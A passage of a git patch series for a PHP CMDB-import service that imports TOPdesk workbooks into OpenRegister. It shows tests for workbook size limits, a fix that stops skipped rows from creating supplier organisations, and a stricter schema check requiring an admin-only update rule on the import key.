CmdbWorkbookReader { + public const READER_CLASS = RecordingXlsxReader::class; + }; + + $atLimit = CmdbTestSupport::buildWorkbook(sheets: $sheets, extraParts: ['xl/sharedStrings.xml' => self::sharedStrings(count: 1000)]); + $overLimit = CmdbTestSupport::buildWorkbook(sheets: $sheets, extraParts: ['xl/sharedStrings.xml' => self::sharedStrings(count: 1001)]); + try { + $this->assertCount(1, $reader->read(path: $atLimit, profile: $this->profile(directory: $directory))['rows'], 'a table of exactly the limit is read'); + + RecordingXlsxReader::$loads = 0; + $reader->read(path: $overLimit, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode()); + $this->assertSame(['maxSharedStrings' => 1000], $e->getDetails()); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded'); + } finally { + unlink($atLimit); + unlink($overLimit); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testASharedStringsTableBeyondTheLimitIsRefusedBeforeLoading() + + /** + * A shared-strings part or a sheet part that unpacks beyond maxPartBytes is refused before any sheet is loaded. + * + * Both packages stay under maxUncompressedBytes; only the one part is too large. + * + * @return void + */ + public function testAPartBeyondThePartLimitIsRefusedBeforeLoading(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $rows = [['APPID', 'Applicatie Naam']]; + for ($index = 1; $index <= 3000; $index++) { + $rows[] = [$index, 'Applicatie']; + } + + $packages = [ + 'xl/sharedStrings.xml' => CmdbTestSupport::buildWorkbook( + sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een']]], + extraParts: ['xl/sharedStrings.xml' => self::sharedStrings(count: 10, length: 10000)] + ), + 'xl/worksheets/sheet1.xml' => CmdbTestSupport::buildWorkbook(sheets: ['Beheerde Applicaties CMDB' => $rows]), + ]; + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxPartBytes' => 50000, 'maxSharedStrings' => 1000000]); + $reader = new class extends CmdbWorkbookReader { + public const READER_CLASS = RecordingXlsxReader::class; + }; + + try { + foreach ($packages as $part => $path) { + RecordingXlsxReader::$loads = 0; + try { + $reader->read(path: $path, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected for ' . $part); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode(), $part); + $this->assertSame(['maxPartBytes' => 50000, 'part' => $part], $e->getDetails(), $part); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded for ' . $part); + } + } + } finally { + array_map('unlink', $packages); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testAPartBeyondThePartLimitIsRefusedBeforeLoading() + + /** + * A shared-strings part with the given number of entries, each the given number of characters long. + * + * Its `count` and `uniqueCount` attributes claim a single entry. + * + * @param int $count The number of `` entries. + * @param int $length The length of every string. + * + * @return string + */ + private static function sharedStrings(int $count, int $length = 1): string { + return '' + . str_repeat('' . str_repeat('x', $length) . '', $count) . ''; + }//end sharedStrings() + /** * The data pass holds only the resolved columns, and drops an empty row between data rows. * From c1b617214c5e195a01d127e44f90acb3d16f5d21 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:12:54 +0200 Subject: [PATCH 160/176] =?UTF-8?q?fix(review):=20#1219=20b3=20=E2=80=94?= =?UTF-8?q?=20a=20skipped=20row=20no=20longer=20creates=20a=20supplier=20o?= =?UTF-8?q?rganisation?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit processRow() resolved the Vendor before the module match decided the row, so a row skipped as a conflict, or as `exists` with "Update existing records" off, still saved a new public Supplier organisation. The module match (find by import key, ownership check, updateExisting) is now its own step, matchModule(), which writes nothing; the supplier is resolved only for a row that will be created or updated, and upsertModule() only creates or merges. The conflict test asserts no organisation is added, and the `exists` test uses an unseen vendor and asserts the same; both fail on the old order. REQ-CMDB-008 gains the rule and a scenario, design.md D7 the new order. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 142 ++++++++++-------- openspec/changes/cmdb-export-import/design.md | 11 +- .../specs/cmdb-export-import/spec.md | 10 +- .../Service/CmdbExportImportServiceTest.php | 8 +- 4 files changed, 102 insertions(+), 69 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index cc5c426d0..f45d3df61 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -136,11 +136,6 @@ class CmdbExportImportService { */ public const STORED_REPORT_ROWS = 500; - /** - * The upsert outcome of a module whose import key matches but that another organisation uses. - */ - private const MODULE_CONFLICT = 'conflict'; - /** * What the progress entry of a failed run says: a code and a generic message. * @@ -580,31 +575,42 @@ private function processRow( // Claimed only now: a row skipped for a missing value leaves its APPID to a later row. $this->seenKeys[$matchKey] = true; - $step = 'manufacturer'; - $providerUuid = $this->resolveManufacturer(values: $values, rowNumber: $rowNumber); - + // The module is matched before the supplier is resolved, so a row that + // ends as a conflict or `exists` creates no Supplier organisation. $step = 'module'; - $moduleResult = $this->importModule( - data: $module['data'], + $externalKey = $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey; + $match = $this->matchModule( + externalKey: $externalKey, municipalityUuid: $municipalityUuid, matchKey: $matchKey, - providerUuid: $providerUuid, - options: $options, - report: $report + updateExisting: $options['updateExisting'] ); - $moduleUuid = $moduleResult['uuid']; - if ($moduleResult['skipReason'] !== null) { + if ($match['skipReason'] !== null) { $this->addRow( report: $report, entry: $entry, outcome: CmdbImportReport::SKIPPED, - reasons: [$moduleResult['skipReason']], + reasons: [$match['skipReason']], warnings: $warnings, - moduleUuid: $moduleUuid + moduleUuid: $match['uuid'] ); return; } + $step = 'manufacturer'; + $providerUuid = $this->resolveManufacturer(values: $values, rowNumber: $rowNumber); + + $step = 'module'; + $moduleResult = $this->importModule( + data: $module['data'], + externalKey: $externalKey, + existing: $match['existing'], + providerUuid: $providerUuid, + publicationDate: $options['publicationDate'], + report: $report + ); + $moduleUuid = $moduleResult['uuid']; + $step = 'owners'; $owners = $this->resolveOwners(values: $values, rowNumber: $rowNumber, municipalityUuid: $municipalityUuid, warnings: $warnings); @@ -979,59 +985,85 @@ private function resolveManufacturer(array $values, int $rowNumber): ?string { }//end resolveManufacturer() /** - * Upsert the row's module, and count it when it was created unpublished. + * Find the row's module by its import key, and decide whether the row stops there. * * A module found by its import key that another organisation uses is a * conflict: it is neither changed nor duplicated, and the row is skipped. - * The log line names the module and the APPID's match key, nothing else. + * A match the run may not update is skipped as `exists`. Nothing is + * written here, so a skipped row leaves no trace in the register. The log + * line of a conflict names the module and the APPID's match key, nothing + * else. * - * @param array $data The mapped module fields. + * @param string $externalKey The module's import key. * @param string $municipalityUuid The consumer. * @param string $matchKey The APPID's match key. + * @param bool $updateExisting Whether a match is updated. + * + * @return array{existing: object|null, uuid: string|null, skipReason: string|null} The stored module, the uuid + * to report for a skipped row, + * and why the row is skipped. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function matchModule(string $externalKey, string $municipalityUuid, string $matchKey, bool $updateExisting): array { + $existing = $this->findOne(schemaKey: 'module', filters: ['externalKey' => $externalKey]); + if ($existing === null) { + return ['existing' => null, 'uuid' => null, 'skipReason' => null]; + } + + $uuid = (string)$existing->getUuid(); + if ($this->moduleBelongsTo(moduleUuid: $uuid, municipalityUuid: $municipalityUuid) === false) { + $this->logger->warning( + 'CmdbExportImportService: import key belongs to a module another organisation uses; row not imported', + ['module' => $uuid, 'municipality' => $municipalityUuid, 'appId' => $matchKey] + ); + $reason = $this->l10n->t('conflict: the application with this import key is used by another organisation, so it is not changed'); + return ['existing' => $existing, 'uuid' => null, 'skipReason' => $reason]; + } + + if ($updateExisting === false) { + return ['existing' => $existing, 'uuid' => $uuid, 'skipReason' => $this->l10n->t('exists')]; + } + + return ['existing' => $existing, 'uuid' => $uuid, 'skipReason' => null]; + }//end matchModule() + + /** + * Create or update the row's module, and count it when it was created unpublished. + * + * @param array $data The mapped module fields. + * @param string $externalKey The module's import key. + * @param object|null $existing The module matchModule() found, or null to create one. * @param string|null $providerUuid The supplier, when there is one. - * @param array{updateExisting: bool, publicationDate: string|null} $options The run's choices. + * @param string|null $publicationDate ISO start time of the import for a module that is published + * when created, or null to create it unpublished. * @param CmdbImportReport $report The report. * - * @return array{uuid: string|null, outcome: string, skipReason: string|null} The module, the outcome of - * upsertModule(), and why the row is skipped. + * @return array{uuid: string, outcome: string} The module and the outcome of upsertModule(). * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ private function importModule( array $data, - string $municipalityUuid, - string $matchKey, + string $externalKey, + ?object $existing, ?string $providerUuid, - array $options, + ?string $publicationDate, CmdbImportReport $report, ): array { $result = $this->upsertModule( data: $data, - externalKey: $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey, - municipalityUuid: $municipalityUuid, + externalKey: $externalKey, + existing: $existing, providerUuid: $providerUuid, - publicationDate: $options['publicationDate'], - updateExisting: $options['updateExisting'] + publicationDate: $publicationDate ); - if ($result['outcome'] === self::MODULE_CONFLICT) { - $this->logger->warning( - 'CmdbExportImportService: import key belongs to a module another organisation uses; row not imported', - ['module' => $result['uuid'], 'municipality' => $municipalityUuid, 'appId' => $matchKey] - ); - $reason = $this->l10n->t('conflict: the application with this import key is used by another organisation, so it is not changed'); - return ['uuid' => null, 'outcome' => $result['outcome'], 'skipReason' => $reason]; - } - - if ($result['outcome'] === 'exists') { - return ['uuid' => $result['uuid'], 'outcome' => $result['outcome'], 'skipReason' => $this->l10n->t('exists')]; - } - - if ($result['outcome'] === CmdbImportReport::CREATED && $options['publicationDate'] === null) { + if ($result['outcome'] === CmdbImportReport::CREATED && $publicationDate === null) { $report->countUnpublished(); } - return ['uuid' => $result['uuid'], 'outcome' => $result['outcome'], 'skipReason' => null]; + return $result; }//end importModule() /** @@ -1058,35 +1090,31 @@ private function moduleBelongsTo(string $moduleUuid, string $municipalityUuid): }//end moduleBelongsTo() /** - * Create, update, or leave the module matched on its external key. + * Create the module, or merge the mapped fields onto the one matchModule() found. * * @param array $data The mapped module fields. * @param string $externalKey The match key. - * @param string $municipalityUuid The consumer, whose usage a matched module must have. + * @param object|null $existing The stored module, or null to create one. * @param string|null $providerUuid The supplier, when there is one. * @param string|null $publicationDate ISO start time of the import for a module that is published * when created, or null to create it unpublished. - * @param bool $updateExisting Whether a match is updated. * - * @return array{uuid: string, outcome: string} Outcome created, updated, unchanged, exists, or conflict - * (MODULE_CONFLICT) for a module another organisation uses. + * @return array{uuid: string, outcome: string} Outcome created, updated or unchanged. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ private function upsertModule( array $data, string $externalKey, - string $municipalityUuid, + ?object $existing, ?string $providerUuid, ?string $publicationDate, - bool $updateExisting, ): array { $data['externalKey'] = $externalKey; if ($providerUuid !== null) { $data['provider'] = $providerUuid; } - $existing = $this->findOne(schemaKey: 'module', filters: ['externalKey' => $externalKey]); if ($existing === null) { $create = array_merge($this->profile->createOnlyDefaults(target: 'module'), $data); unset($create['publicationDate']); @@ -1098,14 +1126,6 @@ private function upsertModule( } $uuid = (string)$existing->getUuid(); - if ($this->moduleBelongsTo(moduleUuid: $uuid, municipalityUuid: $municipalityUuid) === false) { - return ['uuid' => $uuid, 'outcome' => self::MODULE_CONFLICT]; - } - - if ($updateExisting === false) { - return ['uuid' => $uuid, 'outcome' => 'exists']; - } - $merged = $this->merge(target: 'module', stored: $existing->getObject(), mapped: $data); if ($merged === null) { return ['uuid' => $uuid, 'outcome' => CmdbImportReport::UNCHANGED]; diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index 1aa3ea1fe..c1c323bc4 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -144,12 +144,13 @@ The APPID is also stored as `externalNumber`, so it is visible on the module. Per row, in this order: 1. **Municipality** (once per import): `municipalityUuid` must resolve to an `organization` of type `Municipality`. Otherwise 422 `MUNICIPALITY_INVALID`. With `municipalityName`, the service reuses an existing Municipality with the same normalised name, or creates one through the municipality pack. -2. **Manufacturer**: map "Vendor" (the maker of the software) through the manufacturer pack. "Leverancier" (where the municipality buys it) and "Hostingpartij" are not read (follow-up). The normalised name (trim, collapse whitespace, lower case) is looked up in the run cache, then among `organization` objects of type `Supplier`. A new one is created only when neither matches. The first real import (1,137 rows, 479 suppliers) showed no two names that differ only in case, spacing or a legal-form suffix (`B.V.`, `BV`, `Inc.` …), so the normalisation is not widened. -3. **Module** (D5), with `provider` = the manufacturer when there is one. -4. **Owners** (D8). -5. **Usage**: `searchObjects` on `consumer` = municipality and `module` = module uuid. Create or merge the usage pack's fields, plus `consumer`, `module`, `provider` = the manufacturer, and `businessOwner`. `interneAnnotation` ("Beheer geregeld: ja|nee / Cluster / Applicatie Eigenaar (Afdeling)", empty parts left out) is create-only, because it is a free-text note an admin may edit. +2. **Module match** (D5): find the module by `externalKey`. A conflict, or a match while `updateExisting=false`, skips the row here, before anything is written, so a skipped row creates no supplier. +3. **Manufacturer**: map "Vendor" (the maker of the software) through the manufacturer pack. "Leverancier" (where the municipality buys it) and "Hostingpartij" are not read (follow-up). The normalised name (trim, collapse whitespace, lower case) is looked up in the run cache, then among `organization` objects of type `Supplier`. A new one is created only when neither matches. The first real import (1,137 rows, 479 suppliers) showed no two names that differ only in case, spacing or a legal-form suffix (`B.V.`, `BV`, `Inc.` …), so the normalisation is not widened. +4. **Module** (D5): create it, or merge onto the match, with `provider` = the manufacturer when there is one. +5. **Owners** (D8). +6. **Usage**: `searchObjects` on `consumer` = municipality and `module` = module uuid. Create or merge the usage pack's fields, plus `consumer`, `module`, `provider` = the manufacturer, and `businessOwner`. `interneAnnotation` ("Beheer geregeld: ja|nee / Cluster / Applicatie Eigenaar (Afdeling)", empty parts left out) is create-only, because it is a free-text note an admin may edit. -When step 3 succeeds and step 5 fails, the row is `failed` with the step named. The next import completes it, because every step is find-or-create. +When step 4 succeeds and step 6 fails, the row is `failed` with the step named. The next import completes it, because every step is find-or-create. ### D8. The owner as contact person diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 98118377b..493829fad 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -305,7 +305,7 @@ The request SHALL carry `publish`, `true` by default, parsed like `updateExistin ### Requirement: A manufacturer SHALL become one supplier organisation, however many rows name it (REQ-CMDB-008) -The service SHALL map "Vendor" (the maker of the software) through the manufacturer pack to an `organization` of type `Supplier`. It SHALL match names after trimming, collapsing whitespace and ignoring case, first against the organisations it has already resolved during this import, then against existing organisations of type `Supplier`, and SHALL create one only when neither matches. The imported module's `provider` and the usage's `provider` SHALL reference that organisation. A row with an empty "Vendor" SHALL be imported without a provider. "Leverancier" and "Hostingpartij" SHALL NOT be read. +The service SHALL map "Vendor" (the maker of the software) through the manufacturer pack to an `organization` of type `Supplier`. It SHALL match names after trimming, collapsing whitespace and ignoring case, first against the organisations it has already resolved during this import, then against existing organisations of type `Supplier`, and SHALL create one only when neither matches. It SHALL resolve the manufacturer only after the module match has decided the row is created or updated, so a row skipped as a conflict or as `exists` creates no organisation. The imported module's `provider` and the usage's `provider` SHALL reference that organisation. A row with an empty "Vendor" SHALL be imported without a provider. "Leverancier" and "Hostingpartij" SHALL NOT be read. #### Scenario: Rows with the same manufacturer share one organisation @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php feeds three rows with "Fabfrikant", "Fabfrikant " and "FABFRIKANT". @@ -315,6 +315,14 @@ The service SHALL map "Vendor" (the maker of the software) through the manufactu - **THEN** exactly one organisation `Fabfrikant` of type `Supplier` SHALL exist - **AND** all three modules SHALL have `provider` = its uuid +#### Scenario: A skipped row creates no supplier +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAnImportKeyOnAnotherOrganisationsModuleIsAConflict and testUpdateExistingFalseSkipsMatches assert the organisation store is unchanged after a conflict row and after an `exists` row with a vendor not seen before. + +- **GIVEN** a row whose module is a conflict, or exists while "Update existing records" is off, and whose "Vendor" names no known organisation +- **WHEN** it is imported +- **THEN** the row SHALL be reported as skipped +- **AND** no organisation SHALL be created + #### Scenario: An existing supplier is reused @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAVendorIsOneSupplier seeds the Supplier "Aangetekend B.V." and asserts that the module of its row gets it as provider and no second supplier is created. diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 9365c2779..934f8ef5b 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1229,6 +1229,7 @@ public function testAnImportKeyOnAnotherOrganisationsModuleIsAConflict(): void { $this->assertSame($foreign, $this->store[self::MODULE]['mod-foreign'], 'the other organisation\'s module is unchanged'); $this->assertSame($before, [count($this->store[self::MODULE]), count($this->store[self::USAGE])], 'no module and no usage is created'); + $this->assertSame(['muni-1', 'muni-2'], array_keys($this->store[self::ORGANIZATION]), 'the row\'s vendor creates no supplier'); $conflicts = array_filter($this->logLines, static fn (string $line): bool => str_contains($line, 'another organisation uses')); $this->assertCount(2, $conflicts); }//end testAnImportKeyOnAnotherOrganisationsModuleIsAConflict() @@ -1342,7 +1343,7 @@ public function testAVendorIsOneSupplier(): void { }//end testAVendorIsOneSupplier() /** - * updateExisting=false reports a match as skipped "exists" and writes nothing. + * updateExisting=false reports a match as skipped "exists" and writes nothing, not even a new vendor. * * @return void */ @@ -1350,13 +1351,16 @@ public function testUpdateExistingFalseSkipsMatches(): void { $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); $saves = count($this->saves); + $organisations = array_keys($this->store[self::ORGANIZATION]); - $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Applicatie Naam' => 'Anders'])])) + $cells = ['Applicatie Naam' => 'Anders', 'Vendor' => 'Nieuwe Leverancier']; + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $cells)])) ->import(path: '', options: ['municipalityUuid' => 'muni-1', 'updateExisting' => false]); $this->assertSame('skipped', $report['rows'][0]['outcome']); $this->assertSame(['exists'], $report['rows'][0]['reasons']); $this->assertSame($saves, count($this->saves)); + $this->assertSame($organisations, array_keys($this->store[self::ORGANIZATION]), 'the unknown vendor creates no supplier'); }//end testUpdateExistingFalseSkipsMatches() /** From 0bb18a987a20bd8dc9d01efa53014c836a849e4c Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:16:51 +0200 Subject: [PATCH 161/176] =?UTF-8?q?fix(review):=20#1219=20b8=20=E2=80=94?= =?UTF-8?q?=20SCHEMA=5FOUTDATED=20also=20refuses=20a=20module=20schema=20f?= =?UTF-8?q?rom=20before=200.3.8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The schema check required only the match properties, which module 0.3.5 already has, so an install whose register was not re-imported ran the import while `externalKey` was still writable by any module editor, the rule the conflict and ownership model relies on. The module schema must now also declare `applicationType` and carry an `authorization.update` rule for `admin` on `externalKey`; a missing rule is reported in details.missing as `externalKey.authorization.update`. The service test's schema double now serves the register's real property definitions, and a new test refuses a 0.3.7-shaped module schema, with and without `applicationType`. REQ-CMDB-006 and a new scenario, contract.md, openapi.json and the docs error table say so. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 2 +- lib/Service/CmdbExportImportService.php | 72 +++++++++++++++++-- openapi.json | 2 +- .../changes/cmdb-export-import/contract.md | 2 +- .../specs/cmdb-export-import/spec.md | 10 ++- .../Service/CmdbExportImportServiceTest.php | 63 ++++++++++++++-- 6 files changed, 136 insertions(+), 15 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 73bd0fd1e..8e872db08 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -286,7 +286,7 @@ and the section shows the reason and the error code. | `MAPPING_UNAVAILABLE` | OpenRegister's mapping engine is missing, or one of the mapping files is invalid. | Update OpenRegister. If you changed a mapping file, check it against the Nextcloud log. | | `READER_UNAVAILABLE` | The Excel reader that ships with OpenRegister cannot be loaded. | Make sure OpenRegister is installed and enabled. | | `NOT_CONFIGURED` | The stackiq register or its schemas cannot be found. | Run **Auto Configure** at the top of the stackiq admin settings. | -| `SCHEMA_OUTDATED` | A stackiq schema lacks a property the import recognises records by, for example `externalKey` on the module schema. Importing anyway would create every application again. The message names the schema. | Press **Force Update** at the top of the stackiq admin settings to import the register configuration again. | +| `SCHEMA_OUTDATED` | A stackiq schema lacks a property the import recognises records by, for example `externalKey` on the module schema, or the module schema is older than version 0.3.8: it has no `applicationType`, or `externalKey` lacks the rule that only an administrator may change it. Importing anyway would create every application again, or leave the import key open to every editor. The message names the schema. | Press **Force Update** at the top of the stackiq admin settings to import the register configuration again. | | `IMPORT_FAILED` | Something unexpected went wrong. | The Nextcloud log has the details. | **The connection was cut off.** The import runs in one request. When that diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index f45d3df61..0a4829bd6 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -115,12 +115,14 @@ class CmdbExportImportService { * * OpenRegister answers a filter on a property its schema does not declare * with no rows, not an error; without these the import would create a - * duplicate of every record instead of matching it. + * duplicate of every record instead of matching it. `applicationType` is + * not matched on, but it arrives with the same module version (0.3.8) as + * the write rule below, so its absence marks an outdated module schema. * * @var array> */ private const MATCH_PROPERTIES = [ - 'module' => ['externalKey', 'externalId', 'externalNumber'], + 'module' => ['externalKey', 'externalId', 'externalNumber', 'applicationType'], 'organization' => ['name', 'type'], 'usage' => ['consumer', 'module'], 'contactPerson' => ['contactsUid', 'organization'], @@ -131,6 +133,19 @@ class CmdbExportImportService { */ public const TIME_LIMIT_SECONDS = 3000; + /** + * The update rule a property must carry, per schema: property => the group that alone may change it. + * + * Only an admin may change `module.externalKey` outside the import; the + * conflict and ownership model relies on that, so a module schema without + * the rule (before 0.3.8) is outdated. + * + * @var array> + */ + private const REQUIRED_UPDATE_RULES = [ + 'module' => ['externalKey' => 'admin'], + ]; + /** * The most report rows stored with the operation in the distributed cache; the counts are always kept. */ @@ -1735,11 +1750,12 @@ private function resolveCoordinates(): array { }//end resolveCoordinates() /** - * Refuse the import when a schema does not declare the properties the matching relies on. + * Refuse the import when a schema does not declare the properties and write rules the import relies on. * - * The module properties arrive with the register fragment (module 0.3.5 and - * later), which an installation gets only after its register configuration - * is imported again. + * The module properties, and the admin-only update rule on `externalKey`, + * arrive with the register fragment (module 0.3.8 and later), which an + * installation gets only after its register configuration is imported + * again. A missing rule is reported as `.authorization.update`. * * @param array $schemas Schema key => schema id. * @@ -1772,7 +1788,9 @@ private function assertMatchProperties(array $schemas): void { ); } - $missing = array_values(array_diff($required, array_keys((array)$properties))); + $properties = (array)$properties; + $missing = array_values(array_diff($required, array_keys($properties))); + array_push($missing, ...self::missingUpdateRules(type: $type, properties: $properties)); if ($missing !== []) { throw new CmdbImportException( errorCode: CmdbImportException::SCHEMA_OUTDATED, @@ -1783,6 +1801,46 @@ private function assertMatchProperties(array $schemas): void { } }//end assertMatchProperties() + /** + * The declared properties of a schema that lack the update rule the import relies on. + * + * A property that is not declared at all is already reported as missing. + * + * @param string $type The schema key. + * @param array $properties The schema's property definitions. + * + * @return array `.authorization.update` per property without the rule. + */ + private static function missingUpdateRules(string $type, array $properties): array { + $missing = []; + foreach ((self::REQUIRED_UPDATE_RULES[$type] ?? []) as $property => $group) { + if (array_key_exists($property, $properties) === false) { + continue; + } + + $definition = json_decode((string)json_encode($properties[$property]), true); + $update = ($definition['authorization']['update'] ?? null); + if (is_array($update) === false) { + $update = []; + } + + $groups = []; + foreach ($update as $rule) { + if (is_array($rule) === true) { + $rule = ($rule['group'] ?? null); + } + + $groups[] = $rule; + } + + if (in_array($group, $groups, true) === false) { + $missing[] = $property . '.authorization.update'; + } + } + + return $missing; + }//end missingUpdateRules() + /** * The coordinates of the current run. * diff --git a/openapi.json b/openapi.json index 7c4f1c3d8..cff6d6f2a 100644 --- a/openapi.json +++ b/openapi.json @@ -148,7 +148,7 @@ } }, "503": { - "description": "MAPPING_UNAVAILABLE, READER_UNAVAILABLE, NOT_CONFIGURED, or SCHEMA_OUTDATED (a stackiq schema lacks a property the import matches on; details.schema names it and details.missing lists the properties)", + "description": "MAPPING_UNAVAILABLE, READER_UNAVAILABLE, NOT_CONFIGURED, or SCHEMA_OUTDATED (a stackiq schema lacks a property the import matches on, or the module schema predates 0.3.8; details.schema names it and details.missing lists the properties, and externalKey.authorization.update for a missing admin-only write rule)", "content": { "application/json": { "schema": { diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 3d2bdf619..f8382ec08 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -108,7 +108,7 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres | `MAPPING_UNAVAILABLE` | mapping cannot run | OpenRegister's `MappingEngine`/`PackDefinitionValidator` missing, or a shipped pack is invalid | | `READER_UNAVAILABLE` | xlsx reader missing | PhpSpreadsheet's Xlsx reader cannot be loaded | | `NOT_CONFIGURED` | stackiq not configured (503) | OpenRegister's object service, the stackiq register, or the `module`, `organization`, `usage` or `contactPerson` schema cannot be resolved; checked before the file is read | -| `SCHEMA_OUTDATED` | register out of date (503) | the `module`, `organization`, `usage` or `contactPerson` schema lacks a property the import matches on (for example `module.externalKey`); importing the register configuration again adds it. Checked before the file is read | +| `SCHEMA_OUTDATED` | register out of date (503) | the `module`, `organization`, `usage` or `contactPerson` schema lacks a property the import matches on (for example `module.externalKey`), or the `module` schema predates 0.3.8: no `applicationType`, or no admin-only `authorization.update` rule on `externalKey` (reported in `details.missing` as `externalKey.authorization.update`); importing the register configuration again adds them. Checked before the file is read | | `IMPORT_IN_PROGRESS` | another import runs (409) | another CMDB import holds the register's lock; only one import runs per register at a time | | `OPERATION_NOT_FOUND` | unknown operation | cancel for an id without a running `cmdb_import` operation | | `IMPORT_FAILED` | unexpected error | anything not listed above | diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 493829fad..ab4330ea5 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -198,7 +198,7 @@ The service SHALL map each normalised row with OpenRegister's `MigrationPack\Map ### Requirement: A module SHALL be matched on its TOPdesk APPID, so a re-import updates instead of duplicating (REQ-CMDB-006) -For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. A module found by its `externalKey` SHALL be treated as a match only when it has a usage whose `consumer` is the municipality, or no usage at all; a module that only other organisations use SHALL NOT be changed and SHALL NOT be duplicated, and the row SHALL be skipped with reason `conflict: the application with this import key is used by another organisation, so it is not changed`, whatever `updateExisting` says. `module.externalKey` SHALL carry a property-level rule that lets only Nextcloud admins (group `admin`) create or change it; the import writes it with RBAC off. When a match exists the service SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once on one sheet, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. When an APPID occurs on both sheets, the row of the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB") SHALL be imported, whichever sheet the export lists first, and the other row SHALL be skipped with reason `duplicate APPID in file` and a warning naming the APPID and the winning sheet. Before the file is read, the service SHALL check that the `module`, `organization`, `usage` and `contactPerson` schemas declare every property it matches on (for `module`: `externalKey`, `externalId`, `externalNumber`); when one lacks any, it SHALL answer 503 `SCHEMA_OUTDATED` with `details.schema` and `details.missing`, and SHALL write nothing, because OpenRegister answers a filter on an undeclared property with no rows and every row would be created again. +For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. A module found by its `externalKey` SHALL be treated as a match only when it has a usage whose `consumer` is the municipality, or no usage at all; a module that only other organisations use SHALL NOT be changed and SHALL NOT be duplicated, and the row SHALL be skipped with reason `conflict: the application with this import key is used by another organisation, so it is not changed`, whatever `updateExisting` says. `module.externalKey` SHALL carry a property-level rule that lets only Nextcloud admins (group `admin`) create or change it; the import writes it with RBAC off. When a match exists the service SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` 